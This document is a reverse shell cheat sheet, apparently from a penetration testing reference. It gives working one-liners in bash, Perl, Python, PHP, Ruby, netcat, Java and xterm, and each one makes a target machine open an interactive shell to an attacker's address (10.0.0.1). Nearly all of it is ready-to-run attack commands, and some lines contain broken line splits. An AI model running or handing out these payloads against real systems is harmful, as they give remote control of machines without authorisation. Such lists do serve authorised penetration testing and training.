### Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#### PERL

```
Here's a shorter, feature-free version of the perl-reverse-shell:
```

```
perl -e 'use Socket;$i="10.0.0.1";
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockadd r_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

There's also an alternative PERL revere shell here.

## Python

```
This was tested under Linux / Python 2.7:
```

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec
t(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

#### PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn't work, try 4, 5, 6...

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

#### Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'
```

# Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don't support the -e option.

```
nc -e /bin/sh 10.0.0.1 1234
```

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

#### Java

```
r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()
```

### xterm

```
xterm -display 10.0.0.1:1

Xnest :1
```

You'll need to authorise the target to connect to you (command also run on your host):

```
xhost +targetip
```